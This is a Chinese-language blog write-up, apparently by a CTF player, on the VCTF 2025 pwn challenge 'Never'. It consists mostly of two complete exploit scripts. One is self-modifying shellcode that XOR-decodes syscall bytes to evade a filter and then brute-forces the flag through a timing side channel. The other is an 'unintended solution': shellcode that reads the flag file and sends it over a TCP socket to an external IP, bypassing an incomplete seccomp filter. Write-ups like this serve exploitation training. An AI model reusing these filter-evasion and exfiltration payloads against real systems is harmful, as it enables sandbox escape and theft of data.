Mobile wallpaper 1
1626 字
8 分钟
VCTF 2025 Never 非预期解

前言#

最近到处找好玩的题目玩,偶然间就看到了这样一个打侧信道爆破的题目(

原本以为这个题目实际上就只考察了一个侧信道爆破,但仔细一看并不是这样的

闲话少说,正片开始(

题目分析#

保护除canary全开

image

image

刚开始mmap了一个 rwxp 的,0x1000大小的内存

通过gdb也能看到确实是rwxp的

image

后面的逻辑也很清晰,一个函数,一个沙箱

首先看函数,这个函数

image

看了会,能够看出来ban了 \x0f\x05​ 和 \xcd\x80 两个组合

我们看disasm可以知道ban的是 syscall和 int 0x80

print(disasm(b'\x0f\x05'))
print(disasm(b'\xCD\x80'))
->
"""
0: 0f 05 syscall
0: cd 80 int 0x80
"""

这个说实话刚开始以我的想法是构造一个test … jz来跳过,但是想想发现是自己铸币了,明明可以通过动态修改代码的方式对其进行加密解密的。

在这一题里,官方是这么写的:

mov r12, 0x345
mov r11, 0x64a
xor r12, r11 ; 0x345^0x64a = 0x50f -> \x05\x0f
movabs rcx, 0xdeadb0bb ; 这里是地址
xor QWORD PTR [rcx], r12
add BYTE PTR [rax], al ; 这个的字节码是 00 00,与 \x05\x0f 异或变为 syscall

于是我就开心的直接拿这个用了( 原本自己还想着写个loop异或的

之后是沙箱

image

ban了read、readv、write、writev、sendfile、execve、execveat (这里就有伏笔了)

显然官方是想要把你的直接输出flag的路全部堵死,让你去写一个侧信道爆破的。

正常解法#

根据上面的解析,我们不难得到一条利用链,也是比平常稍微难一点的一条打侧信道爆破的链子

open 载入flag文件 -> mmap将flag文件映射到一块内存区域 -> 侧信道爆破检测flag是否正确

也就是这样的构造

payload = asm("""
/* open("flag", 'r')*/
xor rdi, rdi
push 0x67616c66
mov rdi, rsp
mov rsi, 0x0
mov rax, 0x2
mov r8, 0x345
mov r9, 0x64a
xor r8, r9
movabs rcx, 0xdeadb000
xor QWORD PTR [rcx+0x38], r8
add BYTE PTR [rax], al
/* mmap(0xdeadb200, 0x200, PROT_EXEC, MAP_PRIVATE, 3, 0) */
movabs rdi, 0xdeadb200
mov rsi, 0x200
mov rdx, 0x1
mov r10, 0x2
mov r8, 0x3
mov r9, 0x0
mov rax, 0x9
mov r12, 0x345
mov r11, 0x64a
xor r12, r11
movabs rcx, 0xdeadb08c
xor QWORD PTR [rcx], r12
add BYTE PTR [rax], al
""")
shellcode = """
mov bl, byte ptr [rax+{}]
cmp bl,{}
jz $-0x3
"""

从而也就能够写出这样的wp 我没有打VCTF,因而没有打线上,轻喷

from pwn import *
charset = "etaoinshrdlcumwfgypbvkjqzx3740152689{_}"
list = [ord(x) for x in charset]
index = 0
flag = ""
payload = asm("""
/* open("flag", 'r')*/
xor rdi, rdi
push 0x67616c66
mov rdi, rsp
mov rsi, 0x0
mov rax, 0x2
mov r8, 0x345
mov r9, 0x64a
xor r8, r9
movabs rcx, 0xdeadb000
xor QWORD PTR [rcx+0x38], r8
add BYTE PTR [rax], al
/* mmap(0xdeadb200, 0x200, PROT_EXEC, MAP_PRIVATE, 3, 0) */
movabs rdi, 0xdeadb200
mov rsi, 0x200
mov rdx, 0x1
mov r10, 0x2
mov r8, 0x3
mov r9, 0x0
mov rax, 0x9
mov r12, 0x345
mov r11, 0x64a
xor r12, r11
movabs rcx, 0xdeadb08c
xor QWORD PTR [rcx], r12
add BYTE PTR [rax], al
""")
shellcode = """
mov bl, byte ptr [rax+{}]
cmp bl,{}
jz $-0x3
"""
context.log_level = "Info"
while True:
for i in range(len(charset)):
try:
io = process(file)
rcu(b"ideas!")
s(payload+asm(shellcode.format(index,list[i])))
chk1 = io.recv(timeout=0.1)
chk2 = io.recv(timeout=0.5)
print(chk2)
if b'limit' in chk1:
io.close()
sleep(1)
if chk2 == b'':
flag+=chr(list[i])
index +=1
log("flag added 1 chars")
log(f"flag: {str(flag)}")
break
except:
log(f"Tried {i+1}/{len(charset)}")
# log(f"flag: {str(flag)}")
finally:
io.close()
if "}" in flag:
log(f"Final Flag {flag}")
io.close()
exit(0)

之后爆破依旧是十分的漫长的过程,这里就不做展示了

非预期解#

终于到了我想说的环节了 (bushi

这个题目实际上我第一眼看过来以为是打tcp反弹shell的,但是execve、execveat和sendfile被ban了,所以大多数人都认为这个反弹shell是不行的

这里就有一个小bug了,出题人没有ban sendto。这里是可以直接mmap到特定的,与其不重合的地方,之后直接sendto出来的

在这期间,我还发现了 mmap 在创建映射时,如果创建的映射与现存的内存相重合时,会返回一个在libseccomp.so和ld.so.2之间的地址,如下

image

我一开始想做这个非预期解的时候,是将地址直接写成我之前写mmap到的地址,也就是 0xdeadb200。这就导致了实际上我并没有将真正的映射地址导入sendto,回显变成了这样

image

总之,这一条非预期解就是 open -> mmap -> socket -> connect -> sendto

这样只要几秒钟就能传回答案,十分的快速(

image

exp如下

#exp
import os
import socket
from pwn import *
# line CODE JT JF K
# =================================
# 0000: 0x20 0x00 0x00 0x00000004 A = arch
# 0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014
# 0002: 0x20 0x00 0x00 0x00000000 A = sys_number
# 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
# 0004: 0x15 0x00 0x09 0xffffffff if (A != 0xffffffff) goto 0014
# 0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013
# 0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013
# 0007: 0x15 0x05 0x00 0x00000013 if (A == readv) goto 0013
# 0008: 0x15 0x04 0x00 0x00000014 if (A == writev) goto 0013
# 0009: 0x15 0x03 0x00 0x00000028 if (A == sendfile) goto 0013
# 0010: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0013
# 0011: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0013
# 0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
# 0013: 0x06 0x00 0x00 0x00050000 return ERRNO(0)
# 0014: 0x06 0x00 0x00 0x00000000 return KILL
file = os.path.realpath(b'./never')
elf = ELF(file)
io = process(file)
context.binary = elf
context.os = 'linux'
def ip_to_hex(ip):
packed = socket.inet_aton(ip) # 4 bytes, big-endian
be = int.from_bytes(packed, 'big')
le = int.from_bytes(packed, 'little')
return be, le, packed
def port_to_hex(port):
be = port.to_bytes(2, 'big') # network order
le = port.to_bytes(2, 'little') # memory little-endian
return be, le
ip = "192.168.10.239"
port = 1337
ip = ip_to_hex(ip)[1]
port = port_to_hex(port)[1]
payload = f"""
/* open("flag", 'r')*/
xor rdi, rdi
push 0x67616c66
mov rdi, rsp
mov rsi, 0x0
mov rax, 0x2
mov r8, 0x345
mov r9, 0x64a
xor r8, r9
movabs rcx, 0xdeadb000
xor QWORD PTR [rcx+0x38], r8
add BYTE PTR [rax], al
/* mmap(0xdeadb200, 0x200, PROT_EXEC, MAP_PRIVATE, 3, 0) */
movabs rdi, 0xdeadb200
mov rsi, 0x200
mov rdx, 0x1
mov r10, 0x2
mov r8, 0x3
mov r9, 0x0
mov rax, 0x9
mov r12, 0x345
mov r11, 0x64a
xor r12, r11
movabs rcx, 0xdeadb08c
xor QWORD PTR [rcx], r12
add BYTE PTR [rax], al
mov r13, rax
/* socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
push 0x2
pop rdi
push 0x1
pop rsi
push 0x6
pop rdx
push 0x29
pop rax /* syscall 41 = socket */
mov r12, 0x345
mov r11, 0x64a
xor r12, r11
movabs rcx, 0xdeadb0bb
xor QWORD PTR [rcx], r12
add BYTE PTR [rax], al
mov r8, rax
/* connect to ip:port */
xor r10, r10
push r10
push r10
mov BYTE PTR [rsp], 0x2
mov WORD PTR [rsp+0x2], 0x{port.hex()}
mov DWORD PTR [rsp+0x4], {hex(ip)}
mov rsi, rsp
push r8
pop rdi /* sockfd */
push 0x10
pop rdx /* sizeof(sockaddr) */
push SYS_connect /* 0x31 */
pop rax; /* syscall 49 = connect */
mov r12, 0x345
mov r11, 0x64a
xor r12, r11
movabs rcx, 0xdeadb104
xor QWORD PTR [rcx], r12
add BYTE PTR [rax], al
/* send */
mov rdi, r8 /* sockfd */
mov rsi, r13 /* buf */
mov rdx, 0x100 /* len */
xor r10, r10 /* flags */
xor r9, r9 /* addr */
xor r8, r8 /* addrlen */
push SYS_sendto
pop rax
mov r12, 0x345
mov r11, 0x64a
xor r12, r11
movabs rcx, 0xdeadb13d
xor QWORD PTR [rcx], r12
add BYTE PTR [rax], al
"""
payload = asm(payload)
success(f"payload length: {len(payload)}")
io.sendline(payload)
io.interactive()
VCTF 2025 Never 非预期解
https://blog.mindedness.top/posts/vctf-2025-never-非预期解/
作者
Mindedness
发布于
2025-11-28
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

封面
Sample Song
Sample Artist
封面
Sample Song
Sample Artist
0:00 / 0:00